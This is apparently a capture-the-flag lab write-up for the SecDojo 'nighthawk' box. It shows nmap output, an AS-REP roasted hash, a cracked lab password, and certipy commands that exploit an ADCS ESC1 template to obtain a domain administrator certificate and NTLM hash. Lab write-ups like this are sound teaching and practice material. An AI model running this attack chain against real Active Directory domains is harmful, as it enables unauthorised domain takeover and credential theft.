root▌

nighthawk - SecDojo - Arkhaion

Description

Single-domain box where the web app hands you a username list, AS-REP roasting gives the first credential and ADCS gives the domain.

Nmap scan

# Nmap 7.95 scan initiated Fri Oct 30 09:24:06 2026 as: /usr/lib/nmap/nmap --privileged -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,5986,9389 -Pn -oN Service.txt 10.8.0.100
Nmap scan report for 10.8.0.100
Host is up (0.16s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: 403 - Forbidden: Access is denied.
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-10-30 08:24:12Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: arkhaion.secdojo0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Not valid before: 2026-10-30T07:37:18
|_Not valid after:  2027-10-30T07:37:18
|_ssl-date: 2026-10-30T08:25:03+00:00; -1s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: arkhaion.secdojo0., Site: Default-First-Site-Name)
|_ssl-date: 2026-10-30T08:25:03+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Not valid before: 2026-10-30T07:37:18
|_Not valid after:  2027-10-30T07:37:18
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: arkhaion.secdojo0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Not valid before: 2026-10-30T07:37:18
|_Not valid after:  2027-10-30T07:37:18
|_ssl-date: 2026-10-30T08:25:03+00:00; -1s from scanner time.
3269/tcp open  ssl/ldap
|_ssl-date: 2026-10-30T08:25:03+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Not valid before: 2026-10-30T07:37:18
|_Not valid after:  2027-10-30T07:37:18
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-10-30T08:25:03+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=EC2AMAZ-ALFCHQ7.arkhaion.secdojo
| Not valid before: 2026-10-29T07:46:15
|_Not valid after:  2027-04-30T07:46:15
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=EC2AMAZ-ALFCHQ7
| Subject Alternative Name: DNS:EC2AMAZ-ALFCHQ7, DNS:EC2AMAZ-ALFCHQ7
| Not valid before: 2023-09-25T14:40:47
|_Not valid after:  2026-09-24T14:40:47
|_ssl-date: 2026-10-30T08:25:03+00:00; -1s from scanner time.
|_http-title: Not Found
| tls-alpn:
|_  http/1.1
9389/tcp open  mc-nmf        .NET Message Framing
Service Info: Host: EC2AMAZ-ALFCHQ7; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_nbstat: NetBIOS name: EC2AMAZ-ALFCHQ7, NetBIOS user: <unknown>, NetBIOS MAC: 00:ff:39:65:31:18 (unknown)
| smb2-time:
|   date: 2026-10-30T08:24:54
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 30 09:25:06 2026 -- 1 IP address (1 host up) scanned in 60.59 seconds

Enumerating the web server

Fuzzing for directories

Checking /staging

/staging exposes a list of names that look like domain accounts.

username-anarchy turns those names into the usual first.last permutations.

kerbrute validates them: amelia.lopez is a real account and has pre-authentication disabled.

$krb5asrep$18$amelia.lopez@ARKHAION.SECDOJO:6aea6617dc230d802b2d48587084162d$26033d988cbb61d91b48abd64c08d7d2a978835e158966567ed99535e1b3ae57f76464c2af88ce18a1981b783574e4e9c3efc9cd6f4262552d49fc83ed7b031d30e64576c15906de4eb15b162f62531f81403635e0d38f546d8ad101d9d2413be31f487ff60bfd61c1252a0991cb688bf7e80323e0c31af6a73324e0e2c2076037bb648caac8e37bb3801185396ed108e560c51711ae8e2b9845bbc08182a560026e84d78b56657edc3a373a441c822dd2a561a498035667d93df74ac2757ebe0d83d4a47a4ed85adfbaf959c9de6388cdee4a7514af29e7415539fbdb5101a1e260e247b1171d96378893a71941cfe62210599dcbdf923477b2b3a064d6ceb1e720ad54521b71f9

Checking ADCS

certipy find -u amelia.lopez -p '!@p%i&J#iNNo1T2' -dc-ip 10.8.0.100 -stdout

Certipy reports ESC1 — a template that lets the requester specify the subject.

Exploiting ESC1

certipy req -u amelia.lopez@arkhaion.secdojo -p '!@p%i&J#iNNo1T2' -ca arkhaion.secdojo -template bda83450-10b3-4373-9efd-88f069b0181f -upn administrator@arkhaion.secdojo -dc-ip 10.8.0.100

Requesting it with -upn administrator@arkhaion.secdojo returns a certificate issued for the DA.

Authenticating with the certs to get administrator hash

certipy auth uses that PFX for PKINIT and the DC answers with the Administrator NTLM hash.

Hash in hand, the DC is ours.

Takeaways

  • Web-app name lists plus username-anarchy plus kerbrute is still the cheapest way in.
  • An AS-REP roastable account gives a crackable hash without touching authentication, so no lockout risk.
  • ESC1 with an enrollee-supplied subject is a domain admin certificate with a request form attached.